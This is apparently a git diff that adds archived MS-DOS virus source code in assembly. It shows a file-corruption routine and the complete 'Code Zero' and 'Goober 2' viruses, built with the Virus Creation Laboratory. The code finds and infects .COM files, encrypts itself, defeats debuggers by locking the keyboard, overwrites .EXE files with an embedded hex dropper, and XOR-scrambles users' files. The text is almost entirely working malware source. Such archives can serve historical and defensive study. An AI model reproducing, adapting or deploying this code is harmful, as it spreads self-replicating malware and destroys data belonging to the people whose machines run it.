+get_day endp + +get_weekday proc near + mov ah,02Ah ; DOS get date function + int 021h + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_weekday endp + + +;This is a FILE CORRUPTION routine + + + mov dx,offset data01 ; DX points to data + push bp ; Save BP + mov bp,sp ; BP points to stack frame + sub sp,4096 ; Allocate 4096-byte buffer + push di ; Save DI + mov ah,02Fh ; DOS get DTA function + int 021h + mov di,bx ; DI points to DTA + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + int 021h + jc corrupt_end ; If no files found then exit +corrupt_file: mov ax,04301h ; DOS set file attributes function + xor cx,cx ; File will have no attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ax,03D02h ; DOS open file function, r/w + lea dx,[di + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; Transfer file handle to AX +c_crypt_loop: mov ah,03Fh ; DOS read from file function + mov cx,4096 ; Read 4k of characters + lea dx,[bp - 4096] ; DX points to the buffer + int 021h + or ax,ax ; Were 0 bytes read? + je close_c_file ; If so then close it up + push ax ; Save AX + lea si,[bp - 4096] ; SI points to the buffer + xor ah,ah ; BIOS get clock ticks function + int 01Ah + pop cx ; CX holds number of bytes read + push cx ; Save CX +corrupt_bytes: xor byte ptr [si],dl ; XOR byte by clock ticks + inc si ; Do the next byte + inc dx ; Change the key for next byte + loop corrupt_bytes ; Repeat until buffer is done + pop dx ; Restore DX (holds bytes read) + push dx ; Save count for write + mov ax,04201h ; DOS file seek function, current + mov cx,0FFFFh ; Seeking backwards + neg dx ; Seeking backwards + int 021h + mov ah,040h ; DOS write to file function + pop cx ; CX holds number of bytes read + lea dx,[bp - 4096] ; DX points to the buffer + int 021h + jmp short c_crypt_loop +close_c_file: mov ax,05701h ; DOS set file date/time function + mov cx,[di + 016h] ; CX holds old file time + mov dx,[di + 018h] ; DX holds old file data + int 021h + mov ah,03Eh ; DOS close file function + int 021h + mov ax,04301h ; DOS set file attributes function + xor ch,ch ; Clear CH for attributes + mov cl,[di + 015h] ; CL holds old attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ah,04Fh ; DOS find next file function + int 021h + jnc corrupt_file ; If successful do next file +corrupt_end: pop di ; Restore DI + mov sp,bp ; Deallocate local buffer + pop bp ; Restore BP + + +;This is a COM PORT REARRANGING routin + + + mov bx,0001h ; First argument is 1 + mov si,0002h ; Second argument is 2 + push es ; Save ES + xor ax,ax ; Set the extra segment to + mov es,ax ; zero (ROM BIOS) + shl bx,1 ; Convert to word index + shl si,1 ; Convert to word index + mov ax,word ptr [bx + 03FEh]; Zero COM port address + xchg word ptr [si + 03FEh],ax; Put first value in second, + mov word ptr [bx + 03FEh],ax; and second value in first! + pop es ; Restore ES + + +;This is a DROP TO ROM routine + + +rom_basic proc near + int 018h ; Drop to ROM BASIC + ret ; Return to caller +rom_basic endp + + +;This is a TUNE PLAYING routine + TUNE DATA + + + mov si,offset data00 ; SI points to data +get_note: mov bx,[si] ; Load BX with the frequency + or bx,bx ; Is BX equal to zero? + je play_tune_done ; If it is we are finished + + mov ax,034DDh ; + mov dx,0012h ; + cmp dx,bx ; + jnb new_note ; + div bx ; This bit here was stolen + mov bx,ax ; from the Turbo C++ v1.0 + in al,061h ; library file CS.LIB. I + test al,3 ; extracted sound() from the + jne skip_an_or ; library and linked it to + or al,3 ; an .EXE file, then diassembled + out 061h,al ; it. Basically this turns + mov al,0B6h ; on the speaker at a certain + out 043h,al ; frequency. +skip_an_or: mov al,bl ; + out 042h,al ; + mov al,bh ; + out 042h,al ; + + mov bx,[si + 2] ; BX holds duration value + xor ah,ah ; BIOS get time function + int 1Ah + add bx,dx ; Add the time to the length +wait_loop: int 1Ah ; Get the time again (AH = 0) + cmp dx,bx ; Is the delay over? + jne wait_loop ; Repeat until it is + + in al,061h ; Stolen from the nosound() + and al,0FCh ; procedure in Turbo C++ v1.0. + out 061h,al ; This turns off the speaker. + +new_note: add si,4 ; SI points to next note + jmp short get_note ; Repeat with the next note +play_tune_done: + + +data00 dw 262,6,262,6,293,6,329,6,262,6,329,6,293,6,196,6 + dw 262,6,262,6,293,6,329,6,262,12,262,12 + dw 262,6,262,6,293,6,329,6,349,6,329,6,293,6,262,6 + dw 246,6,196,6,220,6,246,6,262,12,262,12 + dw 220,6,246,6,220,6,174,6,220,6,246,6,262,6,220,6 + dw 196,6,220,6,196,6,174,6,164,6,174,6,196,7 + dw 220,6,246,6,220,6,174,6,220,6,246,6,262,6,220,7 + dw 196,6,262,6,246,6,293,6,262,12,262,12 + dw 0 + + +;This is an ANSI DISPLAY routine + + + + mov si,offset data01 ; SI points to data + xor cx,cx ; Clear CX + push di ; Save DI + push es ; Save ES + + jcxz uncrunch_done ; Exit if there are no characters + + mov ah,0Fh ; BIOS get screen mode function + int 10h + xor ah,ah ; BIOS set screen mode function + int 10h ; Clear the screen + + xor di,di + mov ax,0B800h ; AX is set to video segment + mov es,ax ; ES holds video segment + + mov dx,di ; Save X coordinate for later + xor ax,ax ; Set current attributes + cld + +loopa: lodsb ; Get next character + cmp al,32 ; Is it a control character? + jb foreground ; Handle it if it is + stosw ; Save letter on screen +next: loop loopa ; Repeat until we're done + jmp short uncrunch_done ; Leave this routine + +foreground: cmp al,16 ; Are we changing the foreground? + jnb background ; If not, check the background + and ah,0F0h ; Strip off old foreground + or ah,al ; Put the new one on + jmp short next ; Resume looping + +background: cmp al,24 ; Are we changing the background? + je next_line ; If AL = 24, go to next line + jnb flash_bit_toggle ; If AL > 24 set the flash bit + sub al,16 ; Change AL to a color number + add al,al ; Crude way of shifting left + add al,al ; four bits without changing + add al,al ; CL or wasting space. Ok, + add al,al ; I guess. + and al,08Fh ; Strip off old background + or ah,al ; Put the new one on + jmp short next ; Resume looping + +next_line: add dx,160 ; Skip a whole line (80 chars. + mov di,dx ; AND 80 attribs.) + jmp short next ; Resume looping + +flash_bit_toggle: cmp al,27 ; Is it a blink toggle? + jb multi_output ; If AL < 27, it's a blinker + jne next ; Otherwise resume looping + xor ah,128 ; Toggle the flash bit + jmp short next ; Resume looping + +multi_output: cmp al,25 ; Set Zero flag if multi-space + mov bx,cx ; Save main counter + lodsb ; Get number of repititions + mov cl,al ; Put it in CL + mov al,' ' ; AL holds a space + jz start_output ; If displaying spaces, jump + lodsb ; Otherwise get character to use + dec bx ; Adjust main counter + +start_output: xor ch,ch ; Clear CH + inc cx ; Add one to count + rep stosw ; Display the character + mov cx,bx ; Restore main counter + dec cx ; Adjust main counter + loopnz loopa ; Resume looping if not done + +uncrunch_done: pop es ; Restore ES + pop di ; Restore DI + + + mov ax,04C00h ; DOS terminate function + int 021h + + + diff --git a/MSDOS/Virus.MSDOS.Unknown.vclcodez.asm b/MSDOS/Virus.MSDOS.Unknown.vclcodez.asm new file mode 100644 index 00000000..9de4e67d --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vclcodez.asm @@ -0,0 +1,381 @@ +; CODEZERO.ASM -- Code Zero Virus +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Nowhere Man + +virus_type equ 0 ; Appending Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near + db 0E9h,00h,00h ; Near jump (for compatibility) +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; BP holds old IP + sub bp,offset find_offset ; Adjust for length of host + + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + + mov di,bp ; DI points to start of virus + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + +stop_tracing: mov cx,09EBh + mov ax,0FE05h ; Acutal move, plus a HaLT + jmp $-2 + add ah,03Bh ; AH now equals 025h + jmp $-10 ; Execute the HaLT + lea bx,[di + null_vector] ; BX points to new routine + push cs ; Transfer CS into ES + pop es ; using a PUSH/POP + int 021h + mov al,1 ; Disable interrupt 1, too + int 021h + jmp short skip_null ; Hop over the loop +null_vector: jmp $ ; An infinite loop +skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged +lock_keys: mov al,128 ; Change here screws DEBUG + out 021h,al ; If tracing then lock keyboard + + call search_files ; Find and infect a file + + call infected_all + or ax,ax ; Did the function return zero? + jne skip00 ; If not equal, skip effect + jmp short strt00 ; Success -- skip jump +skip00: jmp end00 ; Skip the routine +strt00: lea si,[di + data00] ; SI points to data + mov ah,0Eh ; BIOS display char. function +display_loop: lodsb ; Load the next char. into AL + or al,al ; Is the character a null? + je disp_strnend ; If it is, exit + int 010h ; BIOS video interrupt + jmp short display_loop ; Do the next character +disp_strnend: + +end00: +com_end: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + + + db 064h,06Dh,056h,0D5h,05Dh + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + lea dx,[di + root] ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + lea dx,[di + all_files] ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + lea dx,[di + up_dir] ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + lea dx,[di + com_mask] ; DX points to "*.COM" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +com_mask db "*.COM",0 ; Mask for all .COM files +traverse endp + + db 0D9h,013h,047h,056h,001h + + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + + db 005h,083h,072h,0C1h,006h + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [di + set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit + +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,3 ; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + + + db 06Ah,025h,0C8h,0A7h,094h + +infected_all proc near +if virus_type eq 0 + mov al,byte ptr [di + set_carry] +else + mov al,byte ptr [set_carry] ; AX holds success value +endif + cbw ; Sign-extend AL into AX + ret ; Return to caller +infected_all endp + +data00 db 7,7,7,"** CODE ZERO **",13,10,0 + +vcl_marker db "[VCL]",0 ; VCL creation marker + + +note db "[Code Zero]",0 + db "Nowhere Man, [NuKE] '92",0 + +encrypt_code proc near + push bp ; Save BP + mov bp,di ; Use BP as pointer to code + lea si,[bp + encrypt_decrypt]; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 9],dx ; Low word of timer is new key + + xor byte ptr [si + 1],8 ; + xor byte ptr [si + 8],1 ; Change all SIs to DIs + xor word ptr [si + 11],0101h; (and vice-versa) + + lea di,[bp + finish] ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + lea si,[bp + write_stuff] ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + lea dx,[bp + start] ; DX points to virus + + lea si,[bp + finish] ; SI points to routine + call si ; Encrypt/write/decrypt + + mov di,bp ; DI points to virus again + pop bp ; Restore BP + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + lea si,[bp + start_of_code] ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main diff --git a/MSDOS/Virus.MSDOS.Unknown.vclgoob2.asm b/MSDOS/Virus.MSDOS.Unknown.vclgoob2.asm new file mode 100644 index 00000000..918678e5 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vclgoob2.asm @@ -0,0 +1,390 @@ +; GOOBER2.ASM -- GOOBER 2 +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by URNST KOUCH + +virus_type equ 0 ; Appending Virus +is_encrypted equ 0 ; We're not encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near + db 0E9h,00h,00h ; Near jump (for compatibility) +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; BP holds old IP + sub bp,offset find_offset ; Adjust for length of host + + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + + mov di,bp ; DI points to start of virus + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + + call search_files ; Find and infect a file + + lea dx,[di + data00] ; DX points to data + lea si,[di + data01] ; SI points to data + push di ; Save DI + mov ah,02Fh ; DOS get DTA function + int 021h + mov di,bx ; DI points to DTA + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + int 021h + jc create_file ; If not found then create it +write_in_file: mov ax,04301h ; DOS set file attributes function + xor cx,cx ; File will have no attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ax,03D01h ; DOS open file function, write + lea dx,[di + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; Transfer file handle to AX + mov ah,040h ; DOS write to file function + mov cx,[si] ; CX holds number of byte to write + lea dx,[si + 2] ; DX points to the data + int 021h + mov ax,05701h ; DOS set file date/time function + mov cx,[di + 016h] ; CX holds old file time + mov dx,[di + 018h] ; DX holds old file data + int 021h + mov ah,03Eh ; DOS close file function + int 021h + mov ax,04301h ; DOS set file attributes function + xor ch,ch ; Clear CH for attributes + mov cl,[di + 015h] ; CL holds old attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ah,04Fh ; DOS find next file function + int 021h + jnc write_in_file ; If successful do next file + jmp short dropper_end ; Otherwise exit +create_file: mov ah,03Ch ; DOS create file function + xor cx,cx ; File has no attributes + int 021h + xchg bx,ax ; Transfer file handle to AX + mov ah,040h ; DOS write to file function + mov cx,[si] ; CX holds number of byte to write + lea dx,[si + 2] ; DX points to the data + int 021h + mov ah,03Eh ; DOS close file function + int 021h +dropper_end: pop di ; Restore DI + + +com_end: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + lea dx,[di + root] ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + lea dx,[di + all_files] ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + lea dx,[di + up_dir] ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + lea dx,[di + com_mask] ; DX points to "*.COM" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +com_mask db "*.COM",0 ; Mask for all .COM files +traverse endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [di + set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit + +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,3 ; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + mov ah,040h ; DOS write to file function + mov cx,finish - start ; CX holds virus length + lea dx,[di + start] ; DX points to start of virus + int 021h + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + + +data00 db "*.EXE",0 + +data01 dw 222H + db 092h, 086h, 0EDh, 092h, 0E8h, 0AFh, 000h, 0E8h + db 0ACh, 000h, 0BEh, 0FFh, 002h, 0B4h, 00Eh, 0ACh + db 00Ah, 0C0h, 074h, 004h, 0CDh, 010h, 0EBh, 0F7h + db 0BAh, 012h, 003h, 055h, 08Bh, 0ECh, 081h, 0ECh + db 000h, 010h, 057h, 0B4h, 02Fh, 0CDh, 021h, 08Bh + db 0FBh, 0B4h, 04Eh, 0B9h, 027h, 000h, 0CDh, 021h + db 072h, 06Ch, 0B8h, 001h, 043h, 033h, 0C9h, 08Dh + db 055h, 01Eh, 0CDh, 021h, 0B8h, 002h, 03Dh, 08Dh + db 055h, 01Eh, 0CDh, 021h, 093h, 0B4h, 03Fh, 0B9h + db 000h, 010h, 08Dh, 096h, 000h, 0F0h, 0CDh, 021h + db 00Bh, 0C0h, 074h, 028h, 050h, 08Dh, 0B6h, 000h + db 0F0h, 032h, 0E4h, 0CDh, 01Ah, 059h, 051h, 030h + db 014h, 046h, 042h, 0E2h, 0FAh, 05Ah, 052h, 0B8h + db 001h, 042h, 0B9h, 0FFh, 0FFh, 0F7h, 0DAh, 0CDh + db 021h, 0B4h, 040h, 059h, 08Dh, 096h, 000h, 0F0h + db 0CDh, 021h, 0EBh, 0C9h, 0B8h, 001h, 057h, 08Bh + db 04Dh, 016h, 08Bh, 055h, 018h, 0CDh, 021h, 0B4h + db 03Eh, 0CDh, 021h, 0B8h, 001h, 043h, 032h, 0EDh + db 08Ah, 04Dh, 015h, 08Dh, 055h, 01Eh, 0CDh, 021h + db 0B4h, 04Fh, 0CDh, 021h, 073h, 094h, 05Fh, 08Bh + db 0E5h, 05Dh, 0E8h, 055h, 001h, 00Bh, 0C0h, 074h + db 003h, 0EBh, 006h, 090h, 0EAh, 000h, 000h, 0FFh + db 0FFh, 0B8h, 000h, 04Ch, 0CDh, 021h, 055h, 08Bh + db 0ECh, 083h, 0ECh, 040h, 0B4h, 047h, 032h, 0D2h + db 08Dh, 076h, 0C0h, 0CDh, 021h, 0B4h, 03Bh, 0BAh + db 0DAh, 001h, 0CDh, 021h, 0E8h, 00Dh, 000h, 0B4h + db 03Bh, 08Dh, 056h, 0C0h, 0CDh, 021h, 08Bh, 0E5h + db 05Dh, 0C3h, 05Ch, 000h, 055h, 0B4h, 02Fh, 0CDh + db 021h, 053h, 08Bh, 0ECh, 081h, 0ECh, 080h, 000h + db 0B4h, 01Ah, 08Dh, 056h, 080h, 0CDh, 021h, 0B4h + db 04Eh, 0B9h, 010h, 000h, 0BAh, 034h, 002h, 0CDh + db 021h, 072h, 027h, 080h, 07Eh, 095h, 010h, 075h + db 01Bh, 080h, 07Eh, 09Eh, 02Eh, 074h, 015h, 0B4h + db 03Bh, 08Dh, 056h, 09Eh, 0CDh, 021h, 0E8h, 0CBh + db 0FFh, 09Ch, 0B4h, 03Bh, 0BAh, 031h, 002h, 0CDh + db 021h, 09Dh, 073h, 00Ch, 0B4h, 04Fh, 0CDh, 021h + db 073h, 0D9h, 0BAh, 038h, 002h, 0E8h, 016h, 000h + db 08Bh, 0E5h, 0B4h, 01Ah, 05Ah, 0CDh, 021h, 05Dh + db 0C3h, 02Eh, 02Eh, 000h, 02Ah, 02Eh, 02Ah, 000h + db 02Ah, 02Eh, 045h, 058h, 045h, 000h, 055h, 0B4h + db 02Fh, 0CDh, 021h, 053h, 08Bh, 0ECh, 081h, 0ECh + db 080h, 000h, 052h, 0B4h, 01Ah, 08Dh, 056h, 080h + db 0CDh, 021h, 0B4h, 04Eh, 0B9h, 027h, 000h, 05Ah + db 0CDh, 021h, 072h, 009h, 0E8h, 00Fh, 000h, 073h + db 004h, 0B4h, 04Fh, 0EBh, 0F3h, 08Bh, 0E5h, 0B4h + db 01Ah, 05Ah, 0CDh, 021h, 05Dh, 0C3h, 0B4h, 02Fh + db 0CDh, 021h, 08Bh, 0F3h, 0C6h, 006h, 0F9h, 002h + db 000h, 083h, 07Ch, 01Ch, 000h, 075h, 070h, 081h + db 07Ch, 025h, 04Eh, 044h, 074h, 069h, 081h, 07Ch + db 01Ah, 022h, 002h, 072h, 062h, 0B8h, 000h, 03Dh + db 08Dh, 054h, 01Eh, 0CDh, 021h, 093h, 0B4h, 03Fh + db 0B9h, 004h, 000h, 0BAh, 0F5h, 002h, 0CDh, 021h + db 0B4h, 03Eh, 0CDh, 021h, 056h, 0BEh, 0F5h, 002h + db 0BFh, 000h, 001h, 0B9h, 004h, 000h, 0F3h, 0A6h + db 05Eh, 074h, 03Ch, 0C6h, 006h, 0F9h, 002h, 001h + db 0B8h, 001h, 043h, 033h, 0C9h, 08Dh, 054h, 01Eh + db 0CDh, 021h, 0B8h, 002h, 03Dh, 0CDh, 021h, 093h + db 0B4h, 040h, 0B9h, 022h, 002h, 090h, 0BAh, 000h + db 001h, 0CDh, 021h, 0B8h, 001h, 057h, 